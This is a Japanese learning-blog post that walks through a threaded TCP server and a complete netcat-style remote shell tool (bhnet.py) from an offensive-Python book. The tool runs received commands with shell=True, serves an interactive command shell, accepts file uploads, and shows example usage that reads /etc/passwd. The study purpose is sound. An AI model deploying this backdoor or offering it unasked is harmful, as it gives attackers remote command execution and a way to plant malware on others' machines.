ハッカーへのマイルストーン

ハッカーになるために、日々学んだことを記し、マイルストーンとしていきたい。

サイバーセキュリティプログラミング Day2

早速サーバーやってこ

tcp_server.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import threading

bind_ip   = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip,bind_port)

# クライアントからの接続を処理するスレッド
def handle_client(client_socket):

    # クライアントが送信してきたデータを表示
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    # パケットの返送
    client_socket.send("ACK!")

    client_socket.close()


while True:

    client,addr = server.accept()

    print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])

    # 受信データを処理するスレッドの起動
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

ここで重要なのはなんといってもスレッドですよねー。

まず最初の部分の説明

clientの時と同じように、socket関数でソケットオブジェクトの作成。AF_INETでIP通信しますよ。SOCK_SREAMでTCP通信しますよ。 server.bindでソケットをアドレスにバインドする。要は接続を待ち受けるIPアドレスとポート番号を指定する。

listenの引数となるのは、キューの最大数。今回は5で、接続の待ち受けを開始する。 ここにパケットが流れてくるってことね。前回のオーバーフローってのはここに当てはまるんかな?ちなみに逆はキュー・アンダーフローっていうらしい。簡単とは思うけど、いつかキューとスタックも実装したい。 オーバーフロー、アンダーフローのこともかけたらいいよね。

で、そのあとは待っているっていう状態の表示。

handle_client関数

これは実際に呼び出されるのは最後らへんなのだけども、先に説明するとクライアントからの接続を処理するスレッド。 まずクライアントが送信してきたデータを表示。handle_clientの引数のclient_socketは後で出てくるけどThread関数であるように、引数タプルで指定される。ここではclientなので、クライアントの接続を待ってからclientの情報を入れる感じね。

で、受け取ったメッセージを表示する。 そのあと、パケットを返送するのでACK(コメント)を送る。

最後にcloseするんですが、「一度この操作をすると、その後、このソケットオブジェクトに対するすべての操作が失敗します。キューに溜まったデータがフラッシュされた後は、リモート側の端点ではそれ以上のデータを受信しません。」だそうです。「ソケットはガベージコレクション時に自動的にクローズされます。しかし、明示的に close() するか、 with 文の中でソケットを使うことを推奨します。」とあるので、with文ってのは

while True:
    # accept connections from outside
    (clientsocket, address) = serversocket.accept()
    # now do something with the clientsocket
    # in this case, we'll pretend this is a threaded server
    ct = client_thread(clientsocket)
    ct.run()

こういうのをいうらしい。たぶん とりあえずclose()は書いたほうがいいのかなってことね。ガベージコレクションについては詳しくはほかのところで。 まあ簡単に言うと、実行速度を速くするために使い終わったプログラムは捨ててしまおう、っていうメモリ管理のためのものね。

while以下

さっきも説明したけど、while自体はサーバーのメインループを実行し接続が来るのを待つ役割。 クライアントが接続してきたらクライアントソケットのオブジェクトをclient変数に、クライアントの接続情報をaddr変数にそれぞれ格納する。

で、最後にスレッドを準備してクライアントからの接続を処理するためのスレッドを開始する。

ここで出てきたACKってのはそれなりに重要で、送信したデータが受信ホストに到達したとき、受信ホストは押す新ホストにデータが到達したことを知らせる。これを確認応答(ACK)っていいます。逆に到達してないことを伝えるときは否定確認応答(NACK:Negative Acknowlledgement)という。

Netcatの置き換え

そもそもNetcatとは、、、

http://www.intellilink.co.jp/article/column/security-net01.html

ここを参照してください。

コードは長いので、関数ごとに説明します。

bhnet.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import getopt
import threading
import subprocess

# グローバル変数の定義
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

ここではライブラリのインポート、グローバル変数の設定を行っている。

準備

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhnet.py -t target_host -p port"
    print "-l --listen              - listen on [host]:[port] for"
    print "                           incoming connections"
    print "-e --execute=file_to_run - execute the given file upon"
    print "                           receiving a connection"
    print "-c --command             - initialize a command shell"
    print "-u --upload=destination  - upon receiving connection upload a"
    print "                           file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe"
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

ここはもし定義していないコマンドラインパラメーターが指定されていた場合、スクリプトの使い方を表示。

main関数

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # コマンドラインオプションの読み込み
    try:
        opts, args = getopt.getopt(
                sys.argv[1:],
                "hle:t:p:cu:",
                ["help", "listen", "execute=", "target=",
                 "port=", "command", "upload="])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 接続を待機する?それとも標準入力からデータを受け取って送信する?
    if not listen and len(target) and port > 0:

        # コマンドラインからの入力を`buffer`に格納する。
        # 入力がこないと処理が継続されないので
        # 標準入力にデータを送らない場合は CTRL-D を入力すること。
        buffer = sys.stdin.read()

        # データ送信
        client_sender(buffer)

    # 接続待機を開始。
    # コマンドラインオプションに応じて、ファイルアップロード、
    # コマンド実行、コマンドシェルの実行を行う。
    if listen:
        server_loop()

try以下、コマンドラインオプションを読み込んでいる。 getoptはコマンドラインオプションとパラメータのリストを構文解析する関数で、C言語でも使われていたようだ。第1引数は構文解析の対象になる引数のリスト。通常はsys.argv[1:]で与えられる。第2引数はスクリプトで認識させたいオプション文字と、引数が必要な場合にはコロン (':') をつける。第3引数は長形式のオプションの名前を示す文字列のリスト。 返り値は2つの要素からなり、最初は (option, value) のタプルのリスト、2つ目はオプションリストを取り除いたあとに残ったプログラムの引数リストが返ってくる。

tryがくればexcept。ここではGetoptErrorが呼び出されたとき、となっているがこれは、引数リストの中に認識できないオプションがあった場合か、引数が必要なオプションに引数が与えられなかった場合に発生する。で、usage関数を呼び出しているので、正しい引数使えよ、って呼び掛けてるんですねー。

その前のusage()を呼び出すところは、そもそも引数がないですよ、って意味で呼び出してるんですよね。

for文のところも同様で、オプションの仕様に沿ってないと、usage呼ばれちゃう。すーぐusage()呼ぶ。

その次のコードブロックif文のところから。 まあコード内にある説明のように、標準入力からデータを受け取ってネットワーク越しに送信する処理を行う場所。もし対話的にデータをやりとりしたいなら、Ctrl-Dを押して標準入力を読み込む処理をスキップする。無限に標準入力を待ってるからやな。

最後の部分は、接続を待ち受けるソケットを準備、コマンドの処理を行うためのコード。 まあ後で出てくる。

client_sender関数

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 標的ホストへの接続
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 標的ホストからのデータを待機
            recv_len = 1
            response = ""

            while recv_len:
                data     = client.recv(4096)
                recv_len = len(data)
                response+= data

                if recv_len < 4096:
                    break

            print response,

            # 追加の入力を待機
            buffer = raw_input("")
            buffer += "\n" #クライアントの表示をコマンドシェルと合わせるための改行

            # データの送信
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

        # 接続の終了
        client.close()

client_sender()関数は呼ばれている場所からもわかるように、クライアントとの対話をするコード。 あれ、どっかで見たことあるアルヨ。っと思ったそこのあなた!そう、これはTCPクライアントのコードに似ている。というかその応用だ!

標的ホストへの接続を行ったあと、if文の部分は、標準入力からの入力を受け取ったかどうか(bufferに値が入っているか)を確認し、リモートの標的ホストに対してデータを送信。

while文のところでは、受信データがなくなるまでデータの受信を行っている。

そのあと、raw_input()は標準入力待ちなので、待って最後にまた送信する。これらはwhile Trueからわかるようにユーザーがスクリプトを止めるまで繰り返し行われる。

server_loop関数

この関数はサーバーのメインループ処理を行う。 まあ見てわかるけど、ここはここでTCPサーバーまんまよね。

def server_loop():
    global target

    # 待機するIPアドレスが指定されていない場合は
    # 全てのインタフェースで接続を待機
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # クライアントからの新しい接続を処理するスレッドの起動
        client_thread = threading.Thread(
                target=client_handler, args=(client_socket,))
        client_thread.start()

run_command関数

これはコマンド実行処理とコマンドシェルの処理の両方を扱うスタブ関数 スタブってのは下位の部品モジュールが未完成の場合の仮のモジュールのことらしい。

def run_command(command):
    # 文字列の末尾の改行を削除
    command = command.rstrip()

    # コマンドを実行し出力結果を取得
    try:
        output = subprocess.check_output(
                command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"

    # 出力結果をクライアントに送信
    return output

新しいライブラリ登場。subprocessライブラリ。これはプロセス生成の場面で役に立つらしい。 第1引数はargsなので、commandにはそのままコマンドが入る。標準エラー出力を結果に含めるためにstderrを設定している。最後のshell=Trueはシェルを明示的に呼び出すものだ。 シェルってなんだろーと思って、調べてみたけどshell scriptとかのshellね。terminal的なあれですよ。(違ったらごめんなさい) http://e-words.jp/w/%E3%82%B7%E3%82%A7%E3%83%AB.html

で、最後に出力結果をクライアントに送信。(この時クライアントはずっと待っている)

client_handler関数

ラストの関数。長いね。 ファイルのアップロード、コマンド実行、コマンドシェルの実行を行う処理の実装。

そもそもclient_handlerは client_thread = threading.Thread(target=client_handler, args=(client_socket,)) ここで呼び出された! つまり、いっちばん最初らへんに説明したけど、targetってのはスレッドの活動をもたらすメソッド(run())を呼ぶもの?なのでclient_handlerがスレッドのメインの活動だとわかる。

def client_handler(client_socket):
    global upload
    global execute
    global command

    # ファイルアップロードを指定されているかどうかの確認
    if len(upload_destination):

        # すべてのデータを読み取り、指定されたファイルにデータを書き込み
        file_buffer = ""

        # 受信データがなくなるまでデータ受信を継続
        while True:
            data = client_socket.recv(1024)

            if len(data) == 0:
                break
            else:
                file_buffer += data

        # 受信したデータをファイルに書き込み
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # ファイル書き込みの成否を通知
            client_socket.send(
                "Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send(
                "Failed to save file to %s\r\n" % upload_destination)


    # コマンド実行を指定されているかどうかの確認
    if len(execute):

        # コマンドの実行
        output = run_command(execute)

        client_socket.send(output)


    # コマンドシェルの実行を指定されている場合の処理
    if command:

        # プロンプトの表示
        prompt = "<BHP:#> "
        client_socket.send(prompt)

        while True:

            # 改行(エンターキー)を受け取るまでデータを受信
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # コマンドの実行結果を取得
            response = run_command(cmd_buffer)
            response += prompt

            # コマンドの実行結果を送信
            client_socket.send(response)

main()

最初のif文の大まかな流れは、ファイルがアップロードを指定されていたら受信し、そのデータをファイルに書き込む。 ここで大切なのは、マルウェアのインストールとPythonスクリプトの削除ができることだ。

次はコマンド実行を指定されているかどうかの確認。これはrun_command関数を実行してその結果を送る。

最後にコマンドシェルの実行を指定されている場合、送られてきたコマンドを実行してその結果を送り返す。

今日は終わり

実行結果は各自確認してほしいけど、まあこれは「基本的な」ことらしいのでいと奥深しって感じですね。

2章むずいね。また後で見直すかもしれんけども、とりあえず今からグラフ理論勉強します。 はてぶ気に入ったので同じ感じで勉強します。

明日はTCPロキシーの構築から!